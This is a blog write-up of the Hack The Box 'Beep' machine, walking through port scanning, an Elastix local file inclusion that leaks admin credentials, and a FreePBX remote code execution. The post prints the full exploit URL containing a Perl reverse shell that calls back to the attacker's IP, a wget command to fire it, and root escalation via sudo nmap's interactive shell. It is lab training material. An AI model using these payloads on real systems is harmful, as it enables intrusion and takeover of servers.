Write-Up: HTB Beep

5 min readOct 20, 2020

Beep was an easy Linux box on Hack The Box. Overall, the box was fun to go through and made for a good first write-up.

I started off by running basic Nmap script and outputting it to beepNmap. Looking through the file (full disclosure I removed a lot of the script info as it caused a lot of clutter) it looks like this server is serving as a web-server and potentially an email/exchange server (smtp, pop3, and imap).

kali@kali:~/htb/beep$ nmap -sC -sV 10.10.10.7 -oN beepNmapNmap scan report for 10.10.10.7
Host is up (0.028s latency).
Not shown: 983 closed ports
PORT      STATE    SERVICE    VERSION
22/tcp    open     ssh        OpenSSH 4.3 (protocol 2.0)
25/tcp    open     smtp       Postfix smtpd
80/tcp    open     http       Apache httpd 2.2.3
110/tcp   open     pop3       Cyrus pop3d 2.3.7-Invoca-
111/tcp   open     rpcbind    2 (RPC #100000)
143/tcp   open     imap       Cyrus imapd 2.3.7-Invoca-
340/tcp   filtered unknown
443/tcp   open     ssl/https?
993/tcp   open     ssl/imap   Cyrus imapd
995/tcp   open     pop3       Cyrus pop3d
3306/tcp  open     mysql      MySQL (unauthorized)
3404/tcp  filtered unknown
4445/tcp  open     upnotifyp?
6668/tcp  filtered irc
9081/tcp  filtered cisco-aqos
9103/tcp  filtered jetdirect
10000/tcp open     http       MiniServ 1.570 (Webmin httpd)

Service Info: Hosts:  beep.localdomain, 127.0.0.1, example.com

First things first, time to check out the website. Checking the index file, it looks like the server is running php and elastix.

Time to start-up gobuster. With the knowledge that it’s using php I added -x php to see what additional files it could find.

kali@kali:~/htb/beep$ gobuster dir -u https://10.10.10.7/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt -x php, txt -k

The scan ended up findings a number of directories to check out, specifically /admin, /register.php, /config, /recordings, and /vtigercrm were of interest to me. While the script was running I continued on enumerating.

/modules (Status: 301)
/images (Status: 301)
/admin (Status: 301)
/themes (Status: 301)
/register.php (Status: 200)
/help (Status: 301)
/config.php (Status: 200)
/var (Status: 301)
/mail (Status: 301)
/static (Status: 301)
/lang (Status: 301)
/libs (Status: 301)
/index.php (Status: 200)
/panel (Status: 301)
/configs (Status: 301)
/recordings (Status: 301)
/vtigercrm (Status: 301)

I used searchsploit to see what vulnerabilities exist within elastix. The two of interest are the LFI and RCE.

kali@kali:~/htb/beep$ searchsploit elastix

Exploit Title                                                                                 
Elastix - 'page' Cross-Site Scripting                                                          
Elastix - Multiple Cross-Site Scripting Vulnerabilities                                        
Elastix 2.0.2 - Multiple Cross-Site Scripting Vulnerabilities                                  
Elastix 2.2.0 - 'graph.php' Local File Inclusion                                               
Elastix 2.x - Blind SQL Injection                                                              
Elastix < 2.5 - PHP Code Injection                                                             
FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution                                         

Shellcodes: No Results

The LFI vulnerability was very simple, plugin the URL and go. After trying it out, the site quickly gave me a large dump of info. I switched to view source to make it more readable.

Well, that’s easy — we’ve got the admin creds. Let’s give them a shot. Visiting the /admin page and using the creds works! I started clicking around, but didn’t find much. One thing I did find was the server was running FreePBX version is 2.8.1. Remembering that the RCE found in searchsploit impacted version 2.10.0, it seemed like a good time to try it out.

I copied the script from exploitdb, updated the rhost and lhost, started a nc -lvnp on 443, and ran it. Unfortunately, no dice. Seems like the cert on the site is giving it some trouble.

Time to do some more research. Looking at the script we can see that it’s updating the url with our rhost, lhost, lport, and extension before sending a request via urllib.urlopen(url).

<...>
url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'

urllib.urlopen(url)

So if we can send the request and ignore the cert it should be good to go, right? After some googling I found that wget has a “no-check-certificate option”!

wget --no-check-certificate "https://10.10.10.7/recordings/misc/callme_page.php?action=c&callmenum=1000@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%2210.10.14.21%3a443%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A" -O payload.html

Unfortunately, after setting up a netcat listener and running the command, I did not get a shell. Time for a bit more research.

I know the rhost, lhost, and port are okay, but what is this “extension” number? Looking at the crafted URL it looks like we hit /recordings, let’s check it out. After clicking through the pages at /recordings I found a table and interestingly enough there was an extension column with 233 listed.

I updated my script from “callmenum=1000” to “callmenum=233” and bingo, we have a user shell.

kali@kali:~/htb/beep$ sudo nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.10.7 51979
id
uid=100(asterisk) gid=101(asterisk)

I upgraded my shell with python and stty raw -echo and started looking around. After checking sudo -l, I found something interesting.

bash-3.2$ sudo -l
sudo -l
<...>

User asterisk may run the following commands on this host:
    (root) NOPASSWD: /sbin/shutdown
    (root) NOPASSWD: /usr/bin/nmap
    (root) NOPASSWD: /usr/bin/yum
    (root) NOPASSWD: /bin/touch
    (root) NOPASSWD: /bin/chmod
    (root) NOPASSWD: /bin/chown
    (root) NOPASSWD: /sbin/service
    (root) NOPASSWD: /sbin/init
    (root) NOPASSWD: /usr/sbin/postmap
    (root) NOPASSWD: /usr/sbin/postfix
    (root) NOPASSWD: /usr/sbin/saslpasswd2
    (root) NOPASSWD: /usr/sbin/hardware_detector
    (root) NOPASSWD: /sbin/chkconfig
    (root) NOPASSWD: /usr/sbin/elastix-helper

Sudo rights on nmap seemed interesting and checking gtfobins I found that I could escalate our privileges to run commands as root.

bash-3.2$ sudo nmap --interactive
sudo nmap --interactive

Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
sh-3.2# id
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

From here I grabbed the user and root flags and owned the box.

The other route I tried was to use the admin creds to ssh into the box. HTB loves to reuse creds for different accounts (thank you ippsec videos for teaching me that) so I gave it a shot with admin and root. I had to add an additional command to allow for diffie-hellman-group1-sha1, but was able to get root on the box. I decided to leave this out of the main portion of the blog as it was not as much fun as exploiting the RCE.

Thanks for reading! I am going to try to get at least one blog a week as I work through old HTB boxes.

Write-Up: HTB Beep

Written by Mertle